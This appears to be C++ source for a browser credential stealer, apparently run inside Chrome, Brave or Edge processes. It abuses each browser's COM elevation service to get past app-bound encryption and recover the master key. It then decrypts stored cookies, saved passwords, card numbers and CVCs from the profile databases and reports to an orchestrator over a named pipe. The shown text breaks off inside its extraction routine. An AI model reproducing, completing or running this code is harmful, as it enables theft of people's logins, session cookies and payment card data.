||||
Email : marek@wesolowski.eu.org
|
||||
Phone : +48 607 440 283 (Tel/WhatsApp)
|
||||
Date : 04-09-2025
|
||||
|
||||
*******************************************************************************/
|
||||
|
||||
// kvc_crypt.cpp
|
||||
#include <Windows.h>
|
||||
#include <ShlObj.h>
|
||||
#include <wrl/client.h>
|
||||
#include <bcrypt.h>
|
||||
#include <Wincrypt.h>
|
||||
|
||||
#include <fstream>
|
||||
#include <sstream>
|
||||
#include <iomanip>
|
||||
#include <vector>
|
||||
#include <tlhelp32.h>
|
||||
#include <string>
|
||||
#include <algorithm>
|
||||
#include <memory>
|
||||
#include <optional>
|
||||
#include <stdexcept>
|
||||
#include <filesystem>
|
||||
#include <unordered_map>
|
||||
|
||||
#include "SelfLoader.h"
|
||||
#include "winsqlite3.h"
|
||||
|
||||
#pragma comment(lib, "Crypt32.lib")
|
||||
#pragma comment(lib, "bcrypt.lib")
|
||||
#pragma comment(lib, "ole32.lib")
|
||||
#pragma comment(lib, "shell32.lib")
|
||||
|
||||
#ifndef NT_SUCCESS
|
||||
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
|
||||
#endif
|
||||
|
||||
namespace fs = std::filesystem;
|
||||
|
||||
// Simplified string utilities for essential conversions only
|
||||
namespace StringUtils
|
||||
{
|
||||
// Convert filesystem path to API-compatible string
|
||||
inline std::string path_to_string(const fs::path& path)
|
||||
{
|
||||
return path.string();
|
||||
}
|
||||
}
|
||||
|
||||
// COM Interface Protection Levels for Browser Elevation Services
|
||||
enum class ProtectionLevel
|
||||
{
|
||||
None = 0,
|
||||
PathValidationOld = 1,
|
||||
PathValidation = 2,
|
||||
Max = 3
|
||||
};
|
||||
|
||||
// Chrome/Brave Base Elevator Interface - COM interop for browser security services
|
||||
MIDL_INTERFACE("A949CB4E-C4F9-44C4-B213-6BF8AA9AC69C")
|
||||
IOriginalBaseElevator : public IUnknown
|
||||
{
|
||||
public:
|
||||
virtual HRESULT STDMETHODCALLTYPE RunRecoveryCRXElevated(const WCHAR*, const WCHAR*, const WCHAR*, const WCHAR*, DWORD, ULONG_PTR*) = 0;
|
||||
virtual HRESULT STDMETHODCALLTYPE EncryptData(ProtectionLevel, const BSTR, BSTR*, DWORD*) = 0;
|
||||
virtual HRESULT STDMETHODCALLTYPE DecryptData(const BSTR, BSTR*, DWORD*) = 0;
|
||||
};
|
||||
|
||||
// Edge Elevator Base Interface - placeholder methods for compatibility
|
||||
MIDL_INTERFACE("E12B779C-CDB8-4F19-95A0-9CA19B31A8F6")
|
||||
IEdgeElevatorBase_Placeholder : public IUnknown
|
||||
{
|
||||
public:
|
||||
virtual HRESULT STDMETHODCALLTYPE EdgeBaseMethod1_Unknown(void) = 0;
|
||||
virtual HRESULT STDMETHODCALLTYPE EdgeBaseMethod2_Unknown(void) = 0;
|
||||
virtual HRESULT STDMETHODCALLTYPE EdgeBaseMethod3_Unknown(void) = 0;
|
||||
};
|
||||
|
||||
// Edge Intermediate Elevator Interface - extends base functionality
|
||||
MIDL_INTERFACE("A949CB4E-C4F9-44C4-B213-6BF8AA9AC69C")
|
||||
IEdgeIntermediateElevator : public IEdgeElevatorBase_Placeholder
|
||||
{
|
||||
public:
|
||||
virtual HRESULT STDMETHODCALLTYPE RunRecoveryCRXElevated(const WCHAR*, const WCHAR*, const WCHAR*, const WCHAR*, DWORD, ULONG_PTR*) = 0;
|
||||
virtual HRESULT STDMETHODCALLTYPE EncryptData(ProtectionLevel, const BSTR, BSTR*, DWORD*) = 0;
|
||||
virtual HRESULT STDMETHODCALLTYPE DecryptData(const BSTR, BSTR*, DWORD*) = 0;
|
||||
};
|
||||
|
||||
// Edge Final Elevator Interface - complete implementation
|
||||
MIDL_INTERFACE("C9C2B807-7731-4F34-81B7-44FF7779522B")
|
||||
IEdgeElevatorFinal : public IEdgeIntermediateElevator {};
|
||||
|
||||
namespace SecurityComponents
|
||||
{
|
||||
class PipeLogger;
|
||||
|
||||
namespace Utils
|
||||
{
|
||||
// Get Local AppData folder path with comprehensive error handling
|
||||
fs::path GetLocalAppDataPath()
|
||||
{
|
||||
PWSTR path = nullptr;
|
||||
if (SUCCEEDED(SHGetKnownFolderPath(FOLDERID_LocalAppData, 0, NULL, &path)))
|
||||
{
|
||||
fs::path result = path;
|
||||
CoTaskMemFree(path);
|
||||
return result;
|
||||
}
|
||||
throw std::runtime_error("Failed to get Local AppData path.");
|
||||
}
|
||||
|
||||
// Base64 decode utility for processing encrypted keys
|
||||
std::optional<std::vector<uint8_t>> Base64Decode(const std::string& input)
|
||||
{
|
||||
DWORD size = 0;
|
||||
if (!CryptStringToBinaryA(input.c_str(), 0, CRYPT_STRING_BASE64, nullptr, &size, nullptr, nullptr))
|
||||
return std::nullopt;
|
||||
|
||||
std::vector<uint8_t> data(size);
|
||||
if (!CryptStringToBinaryA(input.c_str(), 0, CRYPT_STRING_BASE64, data.data(), &size, nullptr, nullptr))
|
||||
return std::nullopt;
|
||||
|
||||
return data;
|
||||
}
|
||||
|
||||
// Convert binary data to hex string for diagnostic logging
|
||||
std::string BytesToHexString(const std::vector<uint8_t>& bytes)
|
||||
{
|
||||
std::ostringstream oss;
|
||||
oss << std::hex << std::setfill('0');
|
||||
for (uint8_t byte : bytes)
|
||||
oss << std::setw(2) << static_cast<int>(byte);
|
||||
return oss.str();
|
||||
}
|
||||
|
||||
// Escape JSON strings for safe output serialization
|
||||
std::string EscapeJson(const std::string& s)
|
||||
{
|
||||
std::ostringstream o;
|
||||
for (char c : s)
|
||||
{
|
||||
switch (c)
|
||||
{
|
||||
case '"': o << "\\\""; break;
|
||||
case '\\': o << "\\\\"; break;
|
||||
case '\b': o << "\\b"; break;
|
||||
case '\f': o << "\\f"; break;
|
||||
case '\n': o << "\\n"; break;
|
||||
case '\r': o << "\\r"; break;
|
||||
case '\t': o << "\\t"; break;
|
||||
default:
|
||||
if ('\x00' <= c && c <= '\x1f')
|
||||
{
|
||||
o << "\\u" << std::hex << std::setw(4) << std::setfill('0') << static_cast<int>(c);
|
||||
}
|
||||
else
|
||||
{
|
||||
o << c;
|
||||
}
|
||||
}
|
||||
}
|
||||
return o.str();
|
||||
}
|
||||
}
|
||||
|
||||
namespace Browser
|
||||
{
|
||||
// Browser configuration structure for multi-platform support
|
||||
struct Config
|
||||
{
|
||||
std::string name;
|
||||
std::wstring processName;
|
||||
CLSID clsid;
|
||||
IID iid;
|
||||
fs::path userDataSubPath;
|
||||
};
|
||||
|
||||
// Get comprehensive browser configurations mapping
|
||||
const std::unordered_map<std::string, Config>& GetConfigs()
|
||||
{
|
||||
static const std::unordered_map<std::string, Config> browser_configs = {
|
||||
{"chrome", {"Chrome", L"chrome.exe",
|
||||
{0x708860E0, 0xF641, 0x4611, {0x88, 0x95, 0x7D, 0x86, 0x7D, 0xD3, 0x67, 0x5B}},
|
||||
{0x463ABECF, 0x410D, 0x407F, {0x8A, 0xF5, 0x0D, 0xF3, 0x5A, 0x00, 0x5C, 0xC8}},
|
||||
fs::path("Google") / "Chrome" / "User Data"}},
|
||||
{"brave", {"Brave", L"brave.exe",
|
||||
{0x576B31AF, 0x6369, 0x4B6B, {0x85, 0x60, 0xE4, 0xB2, 0x03, 0xA9, 0x7A, 0x8B}},
|
||||
{0xF396861E, 0x0C8E, 0x4C71, {0x82, 0x56, 0x2F, 0xAE, 0x6D, 0x75, 0x9C, 0xE9}},
|
||||
fs::path("BraveSoftware") / "Brave-Browser" / "User Data"}},
|
||||
{"edge", {"Edge", L"msedge.exe",
|
||||
{0x1FCBE96C, 0x1697, 0x43AF, {0x91, 0x40, 0x28, 0x97, 0xC7, 0xC6, 0x97, 0x67}},
|
||||
{0xC9C2B807, 0x7731, 0x4F34, {0x81, 0xB7, 0x44, 0xFF, 0x77, 0x79, 0x52, 0x2B}},
|
||||
fs::path("Microsoft") / "Edge" / "User Data"}}
|
||||
};
|
||||
return browser_configs;
|
||||
}
|
||||
|
||||
// Detect current browser process configuration from runtime environment
|
||||
Config GetConfigForCurrentProcess()
|
||||
{
|
||||
char exePath[MAX_PATH] = {0};
|
||||
GetModuleFileNameA(NULL, exePath, MAX_PATH);
|
||||
std::string processName = fs::path(exePath).filename().string();
|
||||
std::transform(processName.begin(), processName.end(), processName.begin(), ::tolower);
|
||||
|
||||
const auto& configs = GetConfigs();
|
||||
if (processName == "chrome.exe") return configs.at("chrome");
|
||||
if (processName == "brave.exe") return configs.at("brave");
|
||||
if (processName == "msedge.exe") return configs.at("edge");
|
||||
|
||||
throw std::runtime_error("Unsupported host process: " + processName);
|
||||
}
|
||||
}
|
||||
|
||||
namespace Crypto
|
||||
{
|
||||
// Cryptographic constants for AES-GCM decryption operations
|
||||
constexpr size_t KEY_SIZE = 32;
|
||||
constexpr size_t GCM_IV_LENGTH = 12;
|
||||
constexpr size_t GCM_TAG_LENGTH = 16;
|
||||
const uint8_t KEY_PREFIX[] = {'A', 'P', 'P', 'B'};
|
||||
|
||||
// Support for multiple encryption format versions
|
||||
const std::string V10_PREFIX = "v10";
|
||||
const std::string V20_PREFIX = "v20";
|
||||
|
||||
// Simple RAII wrapper for BCrypt algorithm handle
|
||||
class BCryptAlgorithm
|
||||
{
|
||||
public:
|
||||
BCryptAlgorithm() { BCryptOpenAlgorithmProvider(&handle, BCRYPT_AES_ALGORITHM, nullptr, 0); }
|
||||
~BCryptAlgorithm() { if (handle) BCryptCloseAlgorithmProvider(handle, 0); }
|
||||
operator BCRYPT_ALG_HANDLE() const { return handle; }
|
||||
bool IsValid() const { return handle != nullptr; }
|
||||
private:
|
||||
BCRYPT_ALG_HANDLE handle = nullptr;
|
||||
};
|
||||
|
||||
// Simple RAII wrapper for BCrypt key handle
|
||||
class BCryptKey
|
||||
{
|
||||
public:
|
||||
BCryptKey(BCRYPT_ALG_HANDLE alg, const std::vector<uint8_t>& key)
|
||||
{
|
||||
BCryptGenerateSymmetricKey(alg, &handle, nullptr, 0,
|
||||
const_cast<PUCHAR>(key.data()), static_cast<ULONG>(key.size()), 0);
|
||||
}
|
||||
~BCryptKey() { if (handle) BCryptDestroyKey(handle); }
|
||||
operator BCRYPT_KEY_HANDLE() const { return handle; }
|
||||
bool IsValid() const { return handle != nullptr; }
|
||||
private:
|
||||
BCRYPT_KEY_HANDLE handle = nullptr;
|
||||
};
|
||||
|
||||
// Decrypt GCM-encrypted data using AES-GCM algorithm (supports v10 and v20 formats)
|
||||
std::vector<uint8_t> DecryptGcm(const std::vector<uint8_t>& key, const std::vector<uint8_t>& blob)
|
||||
{
|
||||
// Auto-detect encryption format version
|
||||
std::string detectedPrefix;
|
||||
size_t prefixLength = 0;
|
||||
|
||||
if (blob.size() >= 3)
|
||||
{
|
||||
if (memcmp(blob.data(), V10_PREFIX.c_str(), V10_PREFIX.length()) == 0)
|
||||
{
|
||||
detectedPrefix = V10_PREFIX;
|
||||
prefixLength = V10_PREFIX.length();
|
||||
}
|
||||
else if (memcmp(blob.data(), V20_PREFIX.c_str(), V20_PREFIX.length()) == 0)
|
||||
{
|
||||
detectedPrefix = V20_PREFIX;
|
||||
prefixLength = V20_PREFIX.length();
|
||||
}
|
||||
else
|
||||
{
|
||||
return {};
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
return {};
|
||||
}
|
||||
|
||||
const size_t GCM_OVERHEAD_LENGTH = prefixLength + GCM_IV_LENGTH + GCM_TAG_LENGTH;
|
||||
if (blob.size() < GCM_OVERHEAD_LENGTH)
|
||||
return {};
|
||||
|
||||
// Initialize BCrypt AES-GCM cryptographic provider
|
||||
BCryptAlgorithm algorithm;
|
||||
if (!algorithm.IsValid())
|
||||
return {};
|
||||
|
||||
BCryptSetProperty(algorithm, BCRYPT_CHAINING_MODE,
|
||||
reinterpret_cast<PUCHAR>(const_cast<wchar_t*>(BCRYPT_CHAIN_MODE_GCM)),
|
||||
sizeof(BCRYPT_CHAIN_MODE_GCM), 0);
|
||||
|
||||
// Generate symmetric key from raw key material
|
||||
BCryptKey cryptoKey(algorithm, key);
|
||||
if (!cryptoKey.IsValid())
|
||||
return {};
|
||||
|
||||
// Extract cryptographic components from blob
|
||||
const uint8_t* iv = blob.data() + prefixLength;
|
||||
const uint8_t* ct = iv + GCM_IV_LENGTH;
|
||||
const uint8_t* tag = blob.data() + (blob.size() - GCM_TAG_LENGTH);
|
||||
ULONG ct_len = static_cast<ULONG>(blob.size() - prefixLength - GCM_IV_LENGTH - GCM_TAG_LENGTH);
|
||||
|
||||
// Configure GCM authenticated encryption parameters
|
||||
BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO authInfo;
|
||||
BCRYPT_INIT_AUTH_MODE_INFO(authInfo);
|
||||
authInfo.pbNonce = const_cast<PUCHAR>(iv);
|
||||
authInfo.cbNonce = GCM_IV_LENGTH;
|
||||
authInfo.pbTag = const_cast<PUCHAR>(tag);
|
||||
authInfo.cbTag = GCM_TAG_LENGTH;
|
||||
|
||||
// Perform authenticated decryption with integrity verification
|
||||
std::vector<uint8_t> plain(ct_len > 0 ? ct_len : 1);
|
||||
ULONG outLen = 0;
|
||||
|
||||
NTSTATUS status = BCryptDecrypt(cryptoKey, const_cast<PUCHAR>(ct), ct_len, &authInfo,
|
||||
nullptr, 0, plain.data(), static_cast<ULONG>(plain.size()), &outLen, 0);
|
||||
if (!NT_SUCCESS(status))
|
||||
return {};
|
||||
|
||||
plain.resize(outLen);
|
||||
return plain;
|
||||
}
|
||||
|
||||
// Extract and validate encrypted master key from Local State configuration
|
||||
std::vector<uint8_t> GetEncryptedMasterKey(const fs::path& localStatePath)
|
||||
{
|
||||
std::ifstream f(localStatePath, std::ios::binary);
|
||||
if (!f)
|
||||
throw std::runtime_error("Could not open Local State file.");
|
||||
|
||||
std::string content((std::istreambuf_iterator<char>(f)), std::istreambuf_iterator<char>());
|
||||
const std::string tag = "\"app_bound_encrypted_key\":\"";
|
||||
size_t pos = content.find(tag);
|
||||
if (pos == std::string::npos)
|
||||
throw std::runtime_error("app_bound_encrypted_key not found.");
|
||||
|
||||
pos += tag.length();
|
||||
size_t end_pos = content.find('"', pos);
|
||||
if (end_pos == std::string::npos)
|
||||
throw std::runtime_error("Malformed app_bound_encrypted_key.");
|
||||
|
||||
auto optDecoded = Utils::Base64Decode(content.substr(pos, end_pos - pos));
|
||||
if (!optDecoded)
|
||||
throw std::runtime_error("Base64 decoding of key failed.");
|
||||
|
||||
auto& decodedData = *optDecoded;
|
||||
if (decodedData.size() < sizeof(KEY_PREFIX) ||
|
||||
memcmp(decodedData.data(), KEY_PREFIX, sizeof(KEY_PREFIX)) != 0)
|
||||
{
|
||||
throw std::runtime_error("Key prefix validation failed.");
|
||||
}
|
||||
return {decodedData.begin() + sizeof(KEY_PREFIX), decodedData.end()};
|
||||
}
|
||||
}
|
||||
|
||||
namespace Data
|
||||
{
|
||||
constexpr size_t COOKIE_PLAINTEXT_HEADER_SIZE = 32;
|
||||
|
||||
// Function pointer types for extraction operations
|
||||
typedef std::shared_ptr<std::unordered_map<std::string, std::vector<uint8_t>>>(*PreQuerySetupFunc)(sqlite3*);
|
||||
typedef std::optional<std::string>(*JsonFormatterFunc)(sqlite3_stmt*, const std::vector<uint8_t>&, void*);
|
||||
|
||||
// Configuration structure for database extraction operations
|
||||
struct ExtractionConfig
|
||||
{
|
||||
fs::path dbRelativePath;
|
||||
std::string outputFileName;
|
||||
std::string sqlQuery;
|
||||
PreQuerySetupFunc preQuerySetup;
|
||||
JsonFormatterFunc jsonFormatter;
|
||||
};
|
||||
|
||||
// Pre-query setup for payment cards - loads CVC data
|
||||
std::shared_ptr<std::unordered_map<std::string, std::vector<uint8_t>>> SetupPaymentCards(sqlite3* db)
|
||||
{
|
||||
auto cvcMap = std::make_shared<std::unordered_map<std::string, std::vector<uint8_t>>>();
|
||||
sqlite3_stmt* stmt = nullptr;
|
||||
if (sqlite3_prepare_v2(db, "SELECT guid, value_encrypted FROM local_stored_cvc;", -1, &stmt, nullptr) != SQLITE_OK)
|
||||
return cvcMap;
|
||||
|
||||
while (sqlite3_step(stmt) == SQLITE_ROW)
|
||||
{
|
||||
const char* guid = reinterpret_cast<const char*>(sqlite3_column_text(stmt, 0));
|
||||
const uint8_t* blob = reinterpret_cast<const uint8_t*>(sqlite3_column_blob(stmt, 1));
|
||||
if (guid && blob)
|
||||
(*cvcMap)[guid] = {blob, blob + sqlite3_column_bytes(stmt, 1)};
|
||||
}
|
||||
sqlite3_finalize(stmt);
|
||||
return cvcMap;
|
||||
}
|
||||
|
||||
// JSON formatter for cookies
|
||||
std::optional<std::string> FormatCookie(sqlite3_stmt* stmt, const std::vector<uint8_t>& key, void* state)
|
||||
{
|
||||
const uint8_t* blob = reinterpret_cast<const uint8_t*>(sqlite3_column_blob(stmt, 6));
|
||||
if (!blob) return std::nullopt;
|
||||
|
||||
auto plain = Crypto::DecryptGcm(key, {blob, blob + sqlite3_column_bytes(stmt, 6)});
|
||||
if (plain.size() <= COOKIE_PLAINTEXT_HEADER_SIZE)
|
||||
return std::nullopt;
|
||||
|
||||
const char* value_start = reinterpret_cast<const char*>(plain.data()) + COOKIE_PLAINTEXT_HEADER_SIZE;
|
||||
size_t value_size = plain.size() - COOKIE_PLAINTEXT_HEADER_SIZE;
|
||||
|
||||
std::ostringstream json_entry;
|
||||
json_entry << " {\"host\":\"" << Utils::EscapeJson(reinterpret_cast<const char*>(sqlite3_column_text(stmt, 0))) << "\""
|
||||
<< ",\"name\":\"" << Utils::EscapeJson(reinterpret_cast<const char*>(sqlite3_column_text(stmt, 1))) << "\""
|
||||
<< ",\"path\":\"" << Utils::EscapeJson(reinterpret_cast<const char*>(sqlite3_column_text(stmt, 2))) << "\""
|
||||
<< ",\"value\":\"" << Utils::EscapeJson({value_start, value_size}) << "\""
|
||||
<< ",\"expires\":" << sqlite3_column_int64(stmt, 5)
|
||||
<< ",\"secure\":" << (sqlite3_column_int(stmt, 3) ? "true" : "false")
|
||||
<< ",\"httpOnly\":" << (sqlite3_column_int(stmt, 4) ? "true" : "false")
|
||||
<< "}";
|
||||
return json_entry.str();
|
||||
}
|
||||
|
||||
// JSON formatter for passwords
|
||||
std::optional<std::string> FormatPassword(sqlite3_stmt* stmt, const std::vector<uint8_t>& key, void* state)
|
||||
{
|
||||
const uint8_t* blob = reinterpret_cast<const uint8_t*>(sqlite3_column_blob(stmt, 2));
|
||||
if (!blob) return std::nullopt;
|
||||
|
||||
auto plain = Crypto::DecryptGcm(key, {blob, blob + sqlite3_column_bytes(stmt, 2)});
|
||||
return " {\"origin\":\"" + Utils::EscapeJson(reinterpret_cast<const char*>(sqlite3_column_text(stmt, 0))) +
|
||||
"\",\"username\":\"" + Utils::EscapeJson(reinterpret_cast<const char*>(sqlite3_column_text(stmt, 1))) +
|
||||
"\",\"password\":\"" + Utils::EscapeJson({reinterpret_cast<char*>(plain.data()), plain.size()}) + "\"}";
|
||||
}
|
||||
|
||||
// JSON formatter for payment cards
|
||||
std::optional<std::string> FormatPayment(sqlite3_stmt* stmt, const std::vector<uint8_t>& key, void* state)
|
||||
{
|
||||
auto cvcMap = reinterpret_cast<std::shared_ptr<std::unordered_map<std::string, std::vector<uint8_t>>>*>(state);
|
||||
std::string card_num_str, cvc_str;
|
||||
|
||||
// Decrypt primary card number
|
||||
const uint8_t* blob = reinterpret_cast<const uint8_t*>(sqlite3_column_blob(stmt, 4));
|
||||
if (blob)
|
||||
{
|
||||
auto plain = Crypto::DecryptGcm(key, {blob, blob + sqlite3_column_bytes(stmt, 4)});
|
||||
card_num_str.assign(reinterpret_cast<char*>(plain.data()), plain.size());
|
||||
}
|
||||
|
||||
// Decrypt associated CVC if available
|
||||
const char* guid = reinterpret_cast<const char*>(sqlite3_column_text(stmt, 0));
|
||||
if (guid && cvcMap && (*cvcMap)->count(guid))
|
||||
{
|
||||
auto plain = Crypto::DecryptGcm(key, (*cvcMap)->at(guid));
|
||||
cvc_str.assign(reinterpret_cast<char*>(plain.data()), plain.size());
|
||||
}
|
||||
|
||||
return " {\"name_on_card\":\"" + Utils::EscapeJson(reinterpret_cast<const char*>(sqlite3_column_text(stmt, 1))) +
|
||||
"\",\"expiration_month\":" + std::to_string(sqlite3_column_int(stmt, 2)) +
|
||||
",\"expiration_year\":" + std::to_string(sqlite3_column_int(stmt, 3)) +
|
||||
",\"card_number\":\"" + Utils::EscapeJson(card_num_str) +
|
||||
"\",\"cvc\":\"" + Utils::EscapeJson(cvc_str) + "\"}";
|
||||
}
|
||||
|
||||
// Comprehensive extraction configurations for different browser data types
|
||||
const std::vector<ExtractionConfig>& GetExtractionConfigs()
|
||||
{
|
||||
static const std::vector<ExtractionConfig> configs = {
|
||||
// Browser cookie extraction configuration
|
||||
{fs::path("Network") / "Cookies", "cookies",
|
||||
"SELECT host_key, name, path, is_secure, is_httponly, expires_utc, encrypted_value FROM cookies;",
|
||||
nullptr, FormatCookie},
|
||||
|
||||
// Stored password extraction configuration
|
||||
{"Login Data", "passwords",
|
||||
"SELECT origin_url, username_value, password_value FROM logins;",
|
||||
nullptr, FormatPassword},
|
||||
|
||||
// Payment card information extraction configuration
|
||||
{"Web Data", "payments",
|
||||
"SELECT guid, name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards;",
|
||||
SetupPaymentCards, FormatPayment}
|
||||
};
|
||||
return configs;
|
||||
}
|
||||
}
|
||||
|
||||
// Named pipe communication interface with orchestrator process
|
||||
class PipeLogger
|
||||
{
|
||||
public:
|
||||
explicit PipeLogger(LPCWSTR pipeName)
|
||||
{
|
||||
m_pipe = CreateFileW(pipeName, GENERIC_WRITE | GENERIC_READ, 0, nullptr, OPEN_EXISTING, 0, nullptr);
|
||||
}
|
||||
|
||||
~PipeLogger()
|
||||
{
|
||||
if (m_pipe != INVALID_HANDLE_VALUE)
|
||||
{
|
||||
Log("__DLL_PIPE_COMPLETION_SIGNAL__");
|
||||
FlushFileBuffers(m_pipe);
|
||||
CloseHandle(m_pipe);
|
||||
}
|
||||
}
|
||||
|
||||
bool isValid() const noexcept { return m_pipe != INVALID_HANDLE_VALUE; }
|
||||
|
||||
// Send diagnostic message to orchestrator
|
||||
void Log(const std::string& message)
|
||||
{
|
||||
if (isValid())
|
||||
{
|
||||
DWORD bytesWritten = 0;
|
||||
WriteFile(m_pipe, message.c_str(), static_cast<DWORD>(message.length() + 1), &bytesWritten, nullptr);
|
||||
}
|
||||
}
|
||||
|
||||
HANDLE getHandle() const noexcept { return m_pipe; }
|
||||
|
||||
private:
|
||||
HANDLE m_pipe = INVALID_HANDLE_VALUE;
|
||||
};
|
||||
|
||||
// Browser configuration and path management
|
||||
class BrowserManager
|
||||
{
|
||||
public:
|
||||
BrowserManager() : m_config(Browser::GetConfigForCurrentProcess()) {}
|
||||
|
||||
const Browser::Config& getConfig() const noexcept { return m_config; }
|
||||
|
||||
// Resolve user data root directory for current browser configuration
|
||||
fs::path getUserDataRoot() const
|
||||
{
|
||||
return Utils::GetLocalAppDataPath() / m_config.userDataSubPath;
|
||||
}
|
||||
|
||||
private:
|
||||
Browser::Config m_config;
|
||||
};
|
||||
|
||||
// Master key decryption service using COM elevation interfaces
|
||||
class MasterKeyDecryptor
|
||||
{
|
||||
public:
|
||||
explicit MasterKeyDecryptor(PipeLogger& logger) : m_logger(logger)
|
||||
{
|
||||
if (FAILED(CoInitializeEx(NULL, COINIT_APARTMENTTHREADED)))
|
||||
{
|
||||
throw std::runtime_error("Failed to initialize COM library.");
|
||||
}
|
||||
m_comInitialized = true;
|
||||
m_logger.Log("[+] COM library initialized (APARTMENTTHREADED).");
|
||||
}
|
||||
|
||||
~MasterKeyDecryptor()
|
||||
{
|
||||
if (m_comInitialized)
|
||||
{
|
||||
CoUninitialize();
|
||||
}
|
||||
}
|
||||
|
||||
// Decrypt master key using browser-specific COM elevation service
|
||||
std::vector<uint8_t> Decrypt(const Browser::Config& config, const fs::path& localStatePath)
|
||||
{
|
||||
m_logger.Log("[*] Reading Local State file: " + StringUtils::path_to_string(localStatePath));
|
||||
auto encryptedKeyBlob = Crypto::GetEncryptedMasterKey(localStatePath);
|
||||
|
||||
// Prepare encrypted key as BSTR for COM interface
|
||||
BSTR bstrEncKey = SysAllocStringByteLen(reinterpret_cast<const char*>(encryptedKeyBlob.data()),
|
||||
static_cast<UINT>(encryptedKeyBlob.size()));
|
||||
if (!bstrEncKey)
|
||||
throw std::runtime_error("SysAllocStringByteLen for encrypted key failed.");
|
||||
|
||||
BSTR bstrPlainKey = nullptr;
|
||||
HRESULT hr = E_FAIL;
|
||||
DWORD comErr = 0;
|
||||
|
||||
m_logger.Log("[*] Attempting to decrypt master key via " + config.name + "'s COM server...");
|
||||
|
||||
// Use Edge-specific COM elevation interface
|
||||
if (config.name == "Edge")
|
||||
{
|
||||
Microsoft::WRL::ComPtr<IEdgeElevatorFinal> elevator;
|
||||
hr = CoCreateInstance(config.clsid, nullptr, CLSCTX_LOCAL_SERVER, config.iid, &elevator);
|
||||
if (SUCCEEDED(hr))
|
||||
{
|
||||
CoSetProxyBlanket(elevator.Get(), RPC_C_AUTHN_DEFAULT, RPC_C_AUTHZ_DEFAULT,
|
||||
COLE_DEFAULT_PRINCIPAL, RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
|
||||
RPC_C_IMP_LEVEL_IMPERSONATE, nullptr, EOAC_DYNAMIC_CLOAKING);
|
||||
hr = elevator->DecryptData(bstrEncKey, &bstrPlainKey, &comErr);
|
||||
}
|
||||
}
|
||||
// Use Chrome/Brave COM elevation interface
|
||||
else
|
||||
{
|
||||
Microsoft::WRL::ComPtr<IOriginalBaseElevator> elevator;
|
||||
hr = CoCreateInstance(config.clsid, nullptr, CLSCTX_LOCAL_SERVER, config.iid, &elevator);
|
||||
if (SUCCEEDED(hr))
|
||||
{
|
||||
CoSetProxyBlanket(elevator.Get(), RPC_C_AUTHN_DEFAULT, RPC_C_AUTHZ_DEFAULT,
|
||||
COLE_DEFAULT_PRINCIPAL, RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
|
||||
RPC_C_IMP_LEVEL_IMPERSONATE, nullptr, EOAC_DYNAMIC_CLOAKING);
|
||||
hr = elevator->DecryptData(bstrEncKey, &bstrPlainKey, &comErr);
|
||||
}
|
||||
}
|
||||
|
||||
// Cleanup and validate COM decryption operation result
|
||||
SysFreeString(bstrEncKey);
|
||||
|
||||
if (FAILED(hr) || !bstrPlainKey || SysStringByteLen(bstrPlainKey) != Crypto::KEY_SIZE)
|
||||
{
|
||||
if (bstrPlainKey) SysFreeString(bstrPlainKey);
|
||||
std::ostringstream oss;
|
||||
oss << "IElevator->DecryptData failed. HRESULT: 0x" << std::hex << hr;
|
||||
throw std::runtime_error(oss.str());
|
||||
}
|
||||
|
||||
// Extract raw AES key bytes from BSTR
|
||||
std::vector<uint8_t> aesKey(Crypto::KEY_SIZE);
|
||||
memcpy(aesKey.data(), bstrPlainKey, Crypto::KEY_SIZE);
|
||||
SysFreeString(bstrPlainKey);
|
||||
return aesKey;
|
||||
}
|
||||
|
||||
private:
|
||||
PipeLogger& m_logger;
|
||||
bool m_comInitialized = false;
|
||||
};
|
||||
|
||||
// Browser profile discovery and enumeration service
|
||||
class ProfileEnumerator
|
||||
{
|
||||
public:
|
||||
ProfileEnumerator(const fs::path& userDataRoot, PipeLogger& logger)
|
||||
: m_userDataRoot(userDataRoot), m_logger(logger) {}
|
||||
|
||||
// Discover all browser profiles containing extractable databases
|
||||
std::vector<fs::path> FindProfiles()
|
||||
{
|
||||
m_logger.Log("[*] Discovering browser profiles in: " + StringUtils::path_to_string(m_userDataRoot));
|
||||
std::vector<fs::path> profilePaths;
|
||||
|
||||
// Check if directory contains extractable database files
|
||||
auto isProfileDirectory = [](const fs::path& path)
|
||||
{
|
||||
for (const auto& dataCfg : Data::GetExtractionConfigs())
|
||||
{
|
||||
if (fs::exists(path / dataCfg.dbRelativePath))
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
};
|
||||
|
||||
// Check if root directory qualifies as a profile
|
||||
if (isProfileDirectory(m_userDataRoot))
|
||||
{
|
||||
profilePaths.push_back(m_userDataRoot);
|
||||
}
|
||||
|
||||
// Scan for profile subdirectories with database content
|
||||
std::error_code ec;
|
||||
for (const auto& entry : fs::directory_iterator(m_userDataRoot, ec))
|
||||
{
|
||||
if (!ec && entry.is_directory() && isProfileDirectory(entry.path()))
|
||||
{
|
||||
profilePaths.push_back(entry.path());
|
||||
}
|
||||
}
|
||||
|
||||
if (ec)
|
||||
{
|
||||
m_logger.Log("[-] Filesystem ERROR during profile discovery: " + ec.message());
|
||||
}
|
||||
|
||||
// Remove duplicates using sort + unique instead of std::set
|
||||
std::sort(profilePaths.begin(), profilePaths.end());
|
||||
profilePaths.erase(std::unique(profilePaths.begin(), profilePaths.end()), profilePaths.end());
|
||||
|
||||
m_logger.Log("[+] Found " + std::to_string(profilePaths.size()) + " profile(s).");
|
||||
return profilePaths;
|
||||
}
|
||||
|
||||
private:
|
||||
fs::path m_userDataRoot;
|
||||
PipeLogger& m_logger;
|
||||
};
|
||||
|
||||
// Database content extraction service using SQLite interface
|
||||
class DataExtractor
|
||||
{
|
||||
public:
|
||||
DataExtractor(const fs::path& profilePath, const Data::ExtractionConfig& config,
|
||||
const std::vector<uint8_t>& aesKey, PipeLogger& logger,
|
||||
const fs::path& baseOutputPath, const std::string& browserName)
|
||||
: m_profilePath(profilePath), m_config(config), m_aesKey(aesKey),
|
||||
m_logger(logger), m_baseOutputPath(baseOutputPath), m_browserName(browserName) {}
|
||||
|
||||
// Extract and decrypt data from browser database
|
||||
void Extract()
|
||||
{
|
||||
fs::path dbPath = m_profilePath / m_config.dbRelativePath;
|
||||
if (!fs::exists(dbPath))
|
||||
return;
|
||||
|
||||
